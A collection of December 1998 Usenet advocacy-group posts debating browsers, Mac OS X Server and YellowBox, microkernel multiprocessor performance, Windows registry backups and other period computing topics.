References: <3679789f.27413999@news2.asan.com> <MPG.10e33a4824365a27989803@news.itg.ti.com> <3679883C.5473F57@cable.a2000.nl> <36815279.11525103@news.magna.com.au> <367a7540.41357248@news2.asan.com>
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NNTP-Posting-Date: Mon, 21 Dec 1998 07:15:44 EDT
Date: Mon, 21 Dec 1998 12:15:42 GMT
willy1@rocketmail.com (Willy) said:
|On Fri, 18 Dec 1998 13:22:42 GMT, in comp.os.ms-windows.advocacy
|sxr@spam.hotmail.com (Sam) wrote:
|
|>I switched to IE at version 4 because it was
|>better, no other reason.
|
|Isn't IE 4 just awesome! I *love* that full screen mode. I set the
|address bar to auto-hide and I've got 100% web on my screen. It's a
|fantastic interface.
|
|I'm was very surpised to learn that Communicator didn't have a full
|screen mode. I was also surprised to find it far less configurable
|that IE.
It does actually, but it's undocumented. Only problem is, you can't
toggle between full-screen and normal mode and have to use keyboard
shortcuts for some things. NS 5.0 will fix many shortcomings and I
think the new rendering engine will probably be faster and more
flexible than IE's. It's a complete makeover afterall, while IE is
really just a makeover of old Communicator.
/ w A R D s I X e N T E R T A I N M E N T \
http://www.wardsix.com /\ toadeater@wardsix.com
From: root@anarchy.gov (-= G D T =-)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Why can't MS ship a browser? Everyone else does.
Organization: -= Ward Six Entertainment =- (see message for address)
Message-ID: <36823c11.41939338@news1.bway.net>
References: <3679789f.27413999@news2.asan.com> <MPG.10e33a4824365a27989803@news.itg.ti.com> <3679883C.5473F57@cable.a2000.nl> <36815279.11525103@news.magna.com.au> <367a7540.41357248@news2.asan.com> <75ivpt$is9$3@csu-b.csuohio.edu> <367d5206.390060@news2.asan.com>
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NNTP-Posting-Date: Mon, 21 Dec 1998 07:17:11 EDT
Date: Mon, 21 Dec 1998 12:17:10 GMT
|Unlike Communicator, which takes up about a quarter of your screen
|with it's interface. What do I need all that crap for? It's just
|sitting there doing nothing most of the time. Microsoft decided to
|turn that dead screen space into useful space.
Oh, let me add, Netscape had this fullscreen feature first almost a
year ago.
|Maybe you should try it before you condemn it.
Maybe you should examine where M$ gets it's ideas from more closely.
/ w A R D s I X e N T E R T A I N M E N T \
http://www.wardsix.com /\ toadeater@wardsix.com
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.os.linux.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
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Mime-Version: 1.0
Date: Mon, 21 Dec 1998 16:18:54 GMT
In <1dkd37j.1myr8f52hk7u2N@roxboro0-004.dyn.interpath.net> John Moreno
wrote:
> I know that the situations aren't exactly parallel but I've heard that
> before with MacApp...
Which is I think exactly how Apple should "sell" it. This is the
x-platform, deep, powerful, complete framework that everyone always wanted
MacApp to be in the first place. It's odd that when it came out people
were basically interested in at least taking a look, but with YB it's
largely rejected out of hand. And people say Apple has NIH!
Maury
From: mawarkus@t-online.de (Matthias Warkus)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: M$: Really the Best Talent?
Date: Tue, 22 Dec 1998 00:23:44 +0100
Message-ID: <slrn77tm40.ejo.mawa@dascomputi.UUCP>
References: <36717987.21076075@news2.asan.com> <36755385.15185125@news2.asan.com> <36756390.0@uni-wuerzburg.de> <367576aa.24105942@news2.asan.com> <367580b2.0@uni-wuerzburg.de> <36798742.1291229250@news.isomedia.com> <slrn77b627.cq2.jedi@dementia.mishnet> <756869$3or$1@news.asu.edu> <slrn77e3s6.mch.jedi@dementia.mishnet> <3677c55f.1199644@news2.asan.com> <3677CF94.CA4A5432@digiscape.com> <3677e803.1429388@news.pdq.net> <36789560.910B6785@yahoo.net> <MPG.10e6328ec1f84c0e989752@news.dircon.co.uk> <slrn77oajo.69k.jedi@dementia.mishnet> <MPG.10e678385bac722398975d@news.dircon.co.uk> <slrn77qvog.c0a.jedi@dementia.mishnet> <MPG.10e8c3a295d9444f989786@news.dircon.co.uk>
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On Mon, 21 Dec 1998 21:06:18 -0000, John Murphy <jcmurphy@dircon.co.uk> wrote:
[I really don't care what he wrote.]
Ya know what the main advantage of using a good newsreader is?
Score -9999 by author.
Welcome to the bin, *PLONK*.
mawa
--
Matthias Warkus | mawa@iname.com | Dyson Spheres for sale!
My Geek Code is no longer in my .signature. It's available on e-mail request.
It's sad to live in a world where knowing how to programme your VCR actually
lowers your social status...
Newsgroups: comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: Performance issue with microkernel based OS
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References: <GOyd2.1558$4w2.6884159@news.itd.umich.edu> <F42G4v.ALL@T-FCN.Net>
<367DC47A.1D948B6@scanavia.com>
Mime-Version: 1.0
Date: Mon, 21 Dec 1998 16:31:58 GMT
In <367DC47A.1D948B6@scanavia.com> Daniel Gayet wrote:
> Do microkernel OS's suffer from the same asymptotic point of diminishing
> returns
> as monolithic kernels in multiprocessor hardware? In other words, will I
> get 4x
> the performance from a 4 processor machine if it uses a microkernel, or
> will I get maybe only a 3.1x performance increase?
These issues are largely a factor of the locking "grainularity" in the
design itself, and not a fundamental issue of the kernel. Linux takes the
"broad locking" path, and Mach the "fine grained approach". Fine grained
systems have definite theoretical advantages in this case, they lock
smaller portions of the code, which in turn allows it to be spread out
across more CPU's. However it's anyone's guess whether or not this
translates into real world improvements is anyone's guess. It's worth
noting that the grainularity is something that can be changed just as
easily in a monokernet as a micro one - there are several examples of fine
grained monokernels, I think NCR's initial attempts were like this.
The long and short of it is that Mach _should_ be better than Linux on
multiple CPU's. This is however not a feature of the type of kernel, but
other design issues. It also has the side effect of causing _general_
slowdowns in performance, because locking tends ot be expensive.
Maury
From: ch3@earthlink.net.rem.ove.this (c hand)
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Apple-M$: Linux Nightmare?
Date: Mon, 21 Dec 1998 07:56:10 -0800
References: <4CAA1839629CF88D.AAFA9FDB35C523FE.F1648BCC49C891AD@library-proxy.airnews.net> <ch3-1912981645150001@1cust46.tnt5.redmond.wa.da.uu.net> <355DF295B319F59B.94E11DFE49E8C514.F842B310545BE6E5@library-proxy.airnews.net>
Organization: EarthLink Network, Inc.
Message-ID: <ch3-2112980756110001@1cust208.tnt4.redmond.wa.da.uu.net>
>>
>>BTW, when did Apple ever say they were going to make a GUI for Linux?
>
>
>They aren't--but the upper levels of OSX are "portable" so potentally
>it could be put on top of Linux.
>
>
"Potentially" it could be put on top of a PlayStation. The
question is: who does it benefit? Not Apple, methinks.
--
regards : colin hand : mailto:ch3@earthlink.net
From: hoggett@airtime.no.spam.co.uk (Bill Hoggett)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Why can't MS ship a browser? Everyone else does.
Date: Mon, 21 Dec 1998 15:49:51 GMT
Organization: UUNET WorldCom server (post doesn't reflect views of UUNET WorldCom)
Message-ID: <36883bf2.89155759@news.dial.pipex.com>
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In a fit of advocacy pique bwyman@neaq.org (Bruce Wyman) wrote this on
the Mon, 21 Dec 1998 06:59:21 -0500:
>Oooh, I can't resist....
>
>Hey, wouldn't it be cool if there was some OS that got rid of a lot of
>that space consuming interface in every window? If there were only some
>way to get rid of that confounded menu in *every* window and just move it
>to the top of the screen or something...
Naughty, naughty!
Actually, what I want is options. Let _me_ choose whether I want the
menus at the top of the sceen, or at the top of the window, or as
pop-up selections under the mouse etc. You can do this without
sacrificing a predetermined interface 'style'.
Oh, and let me get rid of those f*****g icon toolbars if I so choose.
From: nojunkhattonr@aug.com (Rick)
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Why can't MS ship a browser? Everyone else does.
Date: Mon, 21 Dec 1998 10:20:01 -0500
Organization: Posted via RemarQ, http://www.remarQ.com - Discussions start here!
Message-ID: <19981221102001209079@ts3-33.aug.com>
References: <3679789f.27413999@news2.asan.com> <MPG.10e33a4824365a27989803@news.itg.ti.com> <3679883C.5473F57@cable.a2000.nl> <36815279.11525103@news.magna.com.au> <367a7540.41357248@news2.asan.com> <75ivpt$is9$3@csu-b.csuohio.edu> <367d5206.390060@news2.asan.com> <bwyman-2112980659210001@bwyman.tiac.net> <367e4da6.0@uni-wuerzburg.de>
Matthias Buelow <token@cip.informatik.uni-wuerzburg.de> wrote:
> >Hey, wouldn't it be cool if there was some OS that got rid of a lot of
> >that space consuming interface in every window? If there were only some
> >way to get rid of that confounded menu in *every* window and just move it
> >to the top of the screen or something...
>
> That's what Apple has been doing all the time. They have patented it, so
> M$ couldn't imitate that behaviour.
.. that hasnt stoppe M$ before. Ask Stac.
--
Remove nojunk from my email address to reply by email.
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.os.linux.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
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Mime-Version: 1.0
Date: Mon, 21 Dec 1998 16:06:41 GMT
In <SCOTT.98Dec18101514@slave.doubleu.com> Scott Hess wrote:
> Untrue. The OpenStep/Mach and MacOS X Server formats can do this.
> "YellowBox" doesn't have a binary format.
We both know I was referring to warppers.
> Again, untrue. ELF should work on any platform.
_Should_ does not mean _does_. Therefore it is not untrue.
Maury
From: westprog@my-dejanews.com
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Thanks to those who suggested backing up the registry
Date: Mon, 21 Dec 1998 16:01:48 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <75lrdb$9jd$1@nnrp1.dejanews.com>
References: <36717987.21076075@news2.asan.com> <36755385.15185125@news2.asan.com> <36756390.0@uni-wuerzburg.de> <367576aa.24105942@news2.asan.com> <367580b2.0@uni-wuerzburg.de> <36798742.1291229250@news.isomedia.com> <slrn77b627.cq2.jedi@dementia.mishnet> <756869$3or$1@news.asu.edu> <slrn77e3s6.mch.jedi@dementia.mishnet> <3677c55f.1199644@news2.asan.com> <i1Te2.5038$2h4.7721@news7.ispnews.com>
In article <i1Te2.5038$2h4.7721@news7.ispnews.com>,
joecosby@hivnaf.seatac.net (Joe Cosby) wrote:
> ** To reply in e-mail, remove "hivnaf." from address **
>
> ALSO SPRACH Willy:
> > On Tue, 15 Dec 1998 17:40:22 -0800, in comp.os.ms-windows.advocacy
> > jedi@dementia.mishnet () wrote:
> >
> > > It's too easy to corrupt, it's not easy enough to
> > > restore & too few tools are available to make up
> > > for any of it's shortcomings.
> >
> > I hosed my registry good (doing something I shouldn't have been doing)
> > When Win95 rebooted, it told me there was a problem with the registry
> > and that it will restore the last known good registry. It rebooted
> > and Win95 came up looking exactly as it did before and all my
> > applications worked.
> >
> > So what's so hard about restoring the registry?
>...
>
> Anyway, assuming the problem -was- the registry, Win95 didn't
> tell me there was a problem with it or restore the last known good
> one.
>
> Thanks to those who suggested backing up the registry, I'll look in
> the Windoze help and see if I can figure out how to do so.
This is the frustrating thing for us registry supporters. There should be an
icon on the desktop saying "Save settings to floppy". This would write the
registry to a floppy disk. If the system stopped working, you just pull out
the floppy disk that last worked and boot from it. It would ask you if you
wanted to restore the settings, you would say yes, and it would overwrite
your registry.
This wouldn't solve the DLL problem, of course. Microsoft haven't had the
nerve to version DLL's and put them under registry control, which would have
sorted out many of the problems with windows instability. It's strange that
Microsoft are so often castigated for trying to control their industry, when
so many of the problems with Windows are caused by a failure of nerve and
unwillingness to impose standards.
> Joe Cosby
...
--
J.
-----------== Posted via Deja News, The Discussion Network ==----------
http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: "Rex Dieter" <rdieter@math.unl.edu>
Newsgroups: comp.sys.next.advocacy
Subject: Re: openstep on non-intel hardware
Date: Mon, 21 Dec 1998 09:39:30 -0600
Organization: University of Nebraska-Lincoln
Message-ID: <75lppg$5rl$1@unlnews.unl.edu>
References: <367C5229.9F98E8BD@netscape.net> <vKZe2.2433$Mk.12230@typhoon-sf.snfc21.pbi.net> <367d22d9.0@stan.astra.co.uk>
mmalcolm crawford wrote in message <367d22d9.0@stan.astra.co.uk>...
>In <vKZe2.2433$Mk.12230@typhoon-sf.snfc21.pbi.net> ix@ix.ix wrote:
>> On 12/19/98, Sam Lee wrote:
>> >would openstep 4.2 (or linux) work on a pc without an intel processor?
>> >i only ask because i found a good deal on an amd k6 notebook and was
>Some people have reported success running OPENSTEP on AMDs, however there
are
>occasional problems, notably with running heavily multi-threaded
applications
>such as OmniWeb. so feel free to give it a go, but caveat emptor.
I have NEVER heard of ANY problems with AMD CPUs. As a matter of fact, I've
been personally using a miriad of AMD chips, K5's, K6's, K6-2-3DNow!'s for a
couple of years.
The threading problem was with early (and current?) generations of Cyrix
chips.
-- Rex
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.os.linux.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
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Date: Mon, 21 Dec 1998 16:08:21 GMT
In <SCOTT.98Dec18102425@slave.doubleu.com> Scott Hess wrote:
> Apple may very well, at some future point, become the dominant Unix
> vendor. But they won't do that within the current Unix market,
> they'll do that by adding a new market, or subverting an old market.
Indeed.
> So perhaps their additions won't even be applicable to what we now
> think of as "Unix".
But they remain likely to do so.
> In any case, why is _Apple's_ Unix binary format better than anyone
> else's? What compelling additions does it have over, say, ELF?
Nothing, it's just there now. Seeing as no one has been able to provide
any details, it seems premature to discuss why their solution is better
than anyone else's, because we're not sure what their solutiion is.
Maury
Newsgroups: comp.sys.mac.advocacy,comp.os.linux.advocacy,comp.sys.next.advocacy
From: maury@remove_this.istar.ca (Maury Markowitz)
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
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Organization: needs one
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <3670B38C.812ACA60@nstar.net>
<F42G8I.AMz@T-FCN.Net> <759lt1$g7b$1@hecate.umd.edu>
<75c1p7$h34$1@nnrp1.dejanews.com> <F461xD.Inv@T-FCN.Net>
<SCOTT.98Dec20003810@slave.doubleu.com>
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Date: Mon, 21 Dec 1998 16:10:07 GMT
In <SCOTT.98Dec20003810@slave.doubleu.com> Scott Hess wrote:
> Also, it's possible we don't _want_ them to be combined, so long as
> they aren't sniping at each other too much
This is the issue though, the market demonstrates that the more products
there are the less goes on in them in total. This was actually commented
on in the MS OS position paper.
Maury
From: "Keith Peterson" <kpeters@v-wave.com>
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: M$: Really the Best Talent?
Date: Mon, 21 Dec 1998 08:57:12 -0700
Message-ID: <367e6e00.0@eccles.iplenergy.com>
References: <36717987.21076075@news2.asan.com> <3672a0d2.4373198@news2.asan.com> <36731A2F.8BB882A2@brown.edu> <36735f75.2443804@news2.asan.com> <750j9i$nbh$1@wuff.mayn.de> <3673e424.3043095@news2.asan.com> <3674BA41.9F874D97@brown.edu> <3675260e.3546429@news2.asan.com>
>They are correct in rebooting. If they change their DNS information,
>there's absolutely no way for me, as a workstation, to get that new
>information. I have to get thrown off so that I can log on again to
>get the new configuration. How else am I to know of the new
>nameserver info?
Use WINIPCFG (Windows 95/98) to release and then renew your lease on the
address from the BOOTP/DHCP server.
Use IPCONFIG (NT) to do likewise.
Message-ID: <367E85E8.9430B626@klassy.com>
Date: Mon, 21 Dec 1998 09:31:20 -0800
From: Josiah Fizer <mib@klassy.com>
Organization: Klassy Soft
MIME-Version: 1.0
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.amiga.advocacy,comp.unix.advocacy
Subject: Re: Why can't MS ship a browser? Everyone else does.
References: <3679789f.27413999@news2.asan.com> <3679eb61$0$226@nntp1.ba.best.com> <3679FC2B.8BBCB160@solarsystems.com> <367c6d10$0$217@nntp1.ba.best.com>
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Boris wrote:
> >Software is different because the overhead for developing it is low. If you
> >want to manufacture automobiles, you need to buy a big plant and hire lots
> >of union workers. If you want to create a clone of MS Office, you just get
> >together with your 3 closest friends and buy lots of Pizza and Coke for a
> >year and don't sleep . . . Well, maybe more than 1 year.
> I disagree with your estimate of MS Office clone. Modern applications tend to be humangous
> (if you don't want to use MS stuff as an example take Netscape browser or Lotus Notes,
> etc.). On the other side, people who come up with new good ideas (especially patents) can
> still make it. Take that Real Audio, for example. They have patented technology: there is
> nothing MS or anybody else can do about it. To develop sofisticated software (not just
> crap) takes a lot of effort. On the other side integrated software reflects customer
> needs; it's better to have many applications by the same vendor. Example: if Oracle breaks
> on NT MS tech-support will probably blame Oracle and Oracle will blame MS. If you use MS
> SQL server you'll have to only deal with MS tech support. Same, if my car radio brakes I
> still go to the same dealer, not to radio manufacturer.
>
> Boris
And yet NT5 has a system much like real audio server for free with the OS. How much longer do
you think Real Audio will be around after Winbloze 2k ships?
From: jedi@dementia.mishnet ()
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Apple-M$: Linux Nightmare?
Date: Mon, 21 Dec 1998 09:19:57 -0800
Organization: Posted via RemarQ, http://www.remarq.com
Message-ID: <slrn77t0pt.is1.jedi@dementia.mishnet>
References: <4CAA1839629CF88D.AAFA9FDB35C523FE.F1648BCC49C891AD@library-proxy.airnews.net> <ch3-1912981645150001@1cust46.tnt5.redmond.wa.da.uu.net> <355DF295B319F59B.94E11DFE49E8C514.F842B310545BE6E5@library-proxy.airnews.net> <ch3-2112980756110001@1cust208.tnt4.redmond.wa.da.uu.net>
On Mon, 21 Dec 1998 07:56:10 -0800, c hand <ch3@earthlink.net.rem.ove.this> wrote:
>
>>>
>>>BTW, when did Apple ever say they were going to make a GUI for Linux?
>>
>>
>>They aren't--but the upper levels of OSX are "portable" so potentally
>>it could be put on top of Linux.
>>
>>
>
>"Potentially" it could be put on top of a PlayStation. The
>question is: who does it benefit? Not Apple, methinks.
They benefit considerably. Linux users are the market they
lost becuase their machines were price competitive with new
pickup trucks and not other microcomputer hardware.
Like it or not, a PC user willing to give Linux a second look
is still the type most likely to do the same for Apple.
--
Herding Humans ~ Herding Cats
Neither will do a thing unless they really want to, or |||
is coerced to the point where it will scratch your eyes out / | \
as soon as your grip slips.
In search of sane PPP docs? Try http://penguin.lvcm.com
From: "Gerry's News Subs" <gjensen@autodatasys.com>
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
References: <36717987.21076075@news2.asan.com> <36755385.15185125@news2.asan.com> <36756390.0@uni-wuerzburg.de> <367576aa.24105942@news2.asan.com> <367580b2.0@uni-wuerzburg.de> <36798742.1291229250@news.isomedia.com> <slrn77b627.cq2.jedi@dementia.mishnet> <756869$3or$1@news.asu.edu> <slrn77e3s6.mch.jedi@dementia.mishnet> <3677c55f.1199644@news2.asan.com> <i1Te2.5038$2h4.7721@news7.ispnews.com> <75lrdb$9jd$1@nnrp1.dejanews.com>
Subject: Re: Thanks to those who suggested backing up the registry
Message-ID: <U7vf2.2619$w91.1179286@newsread1-mx.centuryinter.net>
Date: Mon, 21 Dec 1998 10:47:45 -0600
NNTP-Posting-Date: Mon, 21 Dec 1998 10:59:32 CDT
Organization: CENTURYinter.net
Good luck putting the Windows registry on a floppy ... the registry files on
my Win98 machine (system.dat and user.dat) are > 5mb!
westprog@my-dejanews.com wrote in message
<75lrdb$9jd$1@nnrp1.dejanews.com>...
>In article <i1Te2.5038$2h4.7721@news7.ispnews.com>,
> joecosby@hivnaf.seatac.net (Joe Cosby) wrote:
>> ** To reply in e-mail, remove "hivnaf." from address **
>>
>> ALSO SPRACH Willy:
>> > On Tue, 15 Dec 1998 17:40:22 -0800, in comp.os.ms-windows.advocacy
>> > jedi@dementia.mishnet () wrote:
>> >
>> > > It's too easy to corrupt, it's not easy enough to
>> > > restore & too few tools are available to make up
>> > > for any of it's shortcomings.
>> >
>> > I hosed my registry good (doing something I shouldn't have been doing)
>> > When Win95 rebooted, it told me there was a problem with the registry
>> > and that it will restore the last known good registry. It rebooted
>> > and Win95 came up looking exactly as it did before and all my
>> > applications worked.
>> >
>> > So what's so hard about restoring the registry?
>>...
>>
>> Anyway, assuming the problem -was- the registry, Win95 didn't
>> tell me there was a problem with it or restore the last known good
>> one.
>>
>> Thanks to those who suggested backing up the registry, I'll look in
>> the Windoze help and see if I can figure out how to do so.
>
>This is the frustrating thing for us registry supporters. There should be
an
>icon on the desktop saying "Save settings to floppy". This would write the
>registry to a floppy disk. If the system stopped working, you just pull out
>the floppy disk that last worked and boot from it. It would ask you if you
>wanted to restore the settings, you would say yes, and it would overwrite
>your registry.
>
>This wouldn't solve the DLL problem, of course. Microsoft haven't had the
>nerve to version DLL's and put them under registry control, which would
have
>sorted out many of the problems with windows instability. It's strange that
>Microsoft are so often castigated for trying to control their industry,
when
>so many of the problems with Windows are caused by a failure of nerve and
>unwillingness to impose standards.
>
>> Joe Cosby
>...
>
>--
>J.
>
>-----------== Posted via Deja News, The Discussion Network ==----------
>http://www.dejanews.com/ Search, Read, Discuss, or Start Your Own
From: Richard Parsons <richard@wasp.co.za>
Newsgroups: comp.os.linux.advocacy,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Apple-M$: Linux Nightmare?
Date: Tue, 22 Dec 1998 13:52:09 +0200
Organization: UUNET Internet Africa
Message-ID: <367F87E9.C4810AE3@wasp.co.za>
References: <4CAA1839629CF88D.AAFA9FDB35C523FE.F1648BCC49C891AD@library-proxy.airnews.net> <ch3-1912981645150001@1cust46.tnt5.redmond.wa.da.uu.net> <355DF295B319F59B.94E11DFE49E8C514.F842B310545BE6E5@library-proxy.airnews.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
NNTP-Posting-Date: 22 Dec 1998 11:52:10 GMT
Lo there
What happenened to OpenGL32, Open32 and all those API's that M$ *SAID* they
would support?
Nelson Gerhardt wrote:
> On Sat, 19 Dec 1998 16:45:15 -0800, ch3@earthlink.net.rem.ove.this (c
> hand) wrote:
>
> >
> >
> >>There has been much talk about the need for M$ to provide Linux with a
> >>ported version of Office so business users would be more open to it.
> >>
> >>Well, what I'm afraid of is this--Apple will make OSX THE GUI that
> >>most non-techies use for Linux. Then M$ makes an Office for OSX...
> >>
> >>Of course, eventually a nonApple/M$ Axis GUI would become popular, but
> >>while that happened M$ would have a huge amount of control over Linux
> >>through Apple (for the average end-user)
> >>
> >
> >This has to be the dumbest thing I've ever heard.
> >
> >BTW, when did Apple ever say they were going to make a GUI for Linux?
>
> They aren't--but the upper levels of OSX are "portable" so potentally
> it could be put on top of Linux.
>
> -l
> ---
> ICQ#: 9393354 * "UN-altered REPRODUCTION and DISSEMINATION of this
> IMPORTANT information is ENCOURAGED" -- REMcE
--
Regards,
Richard Parsons
Corporate Mail - richard at wasp dot co dot za
Cellular Mail - rp at sms dot wasp dot co dot za
Personal Email - caveman at surgeons dot co dot za
=======/\/\/\/\/\ [ STANDARD DISCLAIMER ]/\/\/\/\/\=======
The opinions expressed here are not those of my employer,my wife,my church,
or myself ...But they are the opinions of Elvis as revealed to me through
the medium of my pet hamster, Lee Harvey Oswald...
From: "Charles W. Swiger" <chuck@codefab.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.next.software
Subject: Re: nntp server
Date: 21 Dec 1998 17:16:40 GMT
Organization: Spacelab.net Internet Access
Message-ID: <75lvpo$290$1@news.spacelab.net>
References: <74h647$uuk$1@nnrp1.dejanews.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
josborn@depauw.edu wrote:
>Is there a public nntp server out there in the world that I can use news
>grazer with; dejanews is driving me crazy.
Somebody else repeatedly asking questions. Why, do you think the answers
will have changed?
depauw.edu should provide an NNTP server for you to use; failing that, try
talking to the people running news.ind.net (who is providing name service to
depauw.edu). Failing _that_, go spend $20 per month for an account at a
local ISP who will give your NNTP access.
-Chuck
Charles Swiger | chuck@codefab.com | Yeah, yeah-- disclaim away.
----------------+-------------------+----------------------------
You have come to the end of your journey. Survival is everything.
From: jedi@dementia.mishnet ()
Newsgroups: comp.os.linux.advocacy,comp.os.ms-windows.nt.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: Re: Thanks to those who suggested backing up the registry
Date: Mon, 21 Dec 1998 08:40:07 -0800
Organization: Posted via RemarQ, http://www.remarq.com
Message-ID: <slrn77suf7.ihs.jedi@dementia.mishnet>
References: <36717987.21076075@news2.asan.com> <36755385.15185125@news2.asan.com> <36756390.0@uni-wuerzburg.de> <367576aa.24105942@news2.asan.com> <367580b2.0@uni-wuerzburg.de> <36798742.1291229250@news.isomedia.com> <slrn77b627.cq2.jedi@dementia.mishnet> <756869$3or$1@news.asu.edu> <slrn77e3s6.mch.jedi@dementia.mishnet> <3677c55f.1199644@news2.asan.com> <i1Te2.5038$2h4.7721@news7.ispnews.com> <75lrdb$9jd$1@nnrp1.dejanews.com>
On Mon, 21 Dec 1998 16:01:48 GMT, westprog@my-dejanews.com <westprog@my-dejanews.com> wrote:
>In article <i1Te2.5038$2h4.7721@news7.ispnews.com>,
> joecosby@hivnaf.seatac.net (Joe Cosby) wrote:
>> ** To reply in e-mail, remove "hivnaf." from address **
>>
>> ALSO SPRACH Willy:
>> > On Tue, 15 Dec 1998 17:40:22 -0800, in comp.os.ms-windows.advocacy
>> > jedi@dementia.mishnet () wrote:
>> >
>> > > It's too easy to corrupt, it's not easy enough to
>> > > restore & too few tools are available to make up
>> > > for any of it's shortcomings.
>> >
>> > I hosed my registry good (doing something I shouldn't have been doing)
>> > When Win95 rebooted, it told me there was a problem with the registry
>> > and that it will restore the last known good registry. It rebooted
>> > and Win95 came up looking exactly as it did before and all my
>> > applications worked.
>> >
>> > So what's so hard about restoring the registry?
>>...
>>
>> Anyway, assuming the problem -was- the registry, Win95 didn't
>> tell me there was a problem with it or restore the last known good
>> one.
>>
>> Thanks to those who suggested backing up the registry, I'll look in
>> the Windoze help and see if I can figure out how to do so.
>
>This is the frustrating thing for us registry supporters. There should be an
>icon on the desktop saying "Save settings to floppy". This would write the
>registry to a floppy disk. If the system stopped working, you just pull out
>the floppy disk that last worked and boot from it. It would ask you if you
>wanted to restore the settings, you would say yes, and it would overwrite
>your registry.
What? The VB/VBA script for this sort of thing too
daunting for mere users?
>
>This wouldn't solve the DLL problem, of course. Microsoft haven't had the
>nerve to version DLL's and put them under registry control, which would have
>sorted out many of the problems with windows instability. It's strange that
>Microsoft are so often castigated for trying to control their industry, when
>so many of the problems with Windows are caused by a failure of nerve and
>unwillingness to impose standards.
They never set a sensible standard to begin with. Unix
manages to avoid this DLL*hell situation despite having
a total lack of central authority.
[deletia]
--
Herding Humans ~ Herding Cats
Neither will do a thing unless they really want to, or |||
is coerced to the point where it will scratch your eyes out / | \
as soon as your grip slips.
In search of sane PPP docs? Try http://penguin.lvcm.com
From: cb@bartlet.df.lth.se (Christian Brunschen)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.os.linux.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Date: 21 Dec 1998 18:05:25 +0100
Organization: The Computer Society at Lund
Message-ID: <75lv4l$uie$1@bartlet.df.lth.se>
References: <6026240AEA0457C7.7FEDAC96A1434CF4.0DCF4A809F8293D7@library-proxy.airnews.net> <joe.ragosta-1712980910140001@elk85.dol.net> <SCOTT.98Dec18102425@slave.doubleu.com> <75grbp$sa0$1@nnrp02.primenet.com>
NNTP-Posting-User: cb
In article <75grbp$sa0$1@nnrp02.primenet.com>,
John Jensen <jjens@primenet.com> wrote:
>Scott Hess <scott@nospam.doubleu.com> wrote:
>: Someone has mentioned fat (multi-architecture)
>: binaries, but that could be trivially added to something like ELF in
>: the same way as NeXT added it to Mach-O. [Specifically, the hard part
>: is converting everyone to the new kernels that can execute the new
>: format - it's not making a format that does the job.]
>
>I'd rather have this handled at the package-management level. The
>distribution package should contain all binaries ... but the live
>installation should contain only what you need.
>
>Actually the package at a server site should contain all binaries, but
>what gets downloaded to your machine should contain only what you need.
This actually misses one important case:
Where the client mounts the server's file system, and thus grabs the
executable directly from there. Now, let there be clients of several
different architectures that do this simultaneously. The nice packaging of
executable code and the resources associated with that code into bundles,
which is prevalent in the OpenStep / YellowBox world, means that a
multi-architecture binary is a very good solution to the problem: You
don't need to duplicate your resources, since those can be shared between
the different architectures; and the client would grab just that section
from the multi-architecture binary that it can execute.
>
>If you are going to design a solution in the late '90s you should solve
>the problems of the late '90s (including internet distribution) and not
>just the problems of the '80s (including support for multiple processors).
Well, multi-architecture binaries solve both problems admirably.
>
>John
// Christian Brunschen
From: scott@nospam.doubleu.com (Scott Hess)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.os.linux.advocacy
Subject: Re: "One thing that looks definite is....Mac OS X Server in January..."
Organization: Is a sign of weakness
